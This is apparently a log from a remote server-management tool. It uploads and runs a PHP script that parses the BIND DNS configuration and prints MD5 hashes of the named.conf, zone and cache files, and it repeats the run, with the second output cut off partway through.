MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 15:07:50: Establishing a connection
2026-04-30 15:07:50: 

PUT: /tmp/pkp654529

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 15:07:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp654529; rm /tmp/pkp654529'

2026-04-30 15:07:50: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 15:07:52: Establishing a connection
2026-04-30 15:07:52: 

PUT: /tmp/pkp611699

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 15:07:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp611699; rm /tmp/pkp611699'

2026-04-30 15:07:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
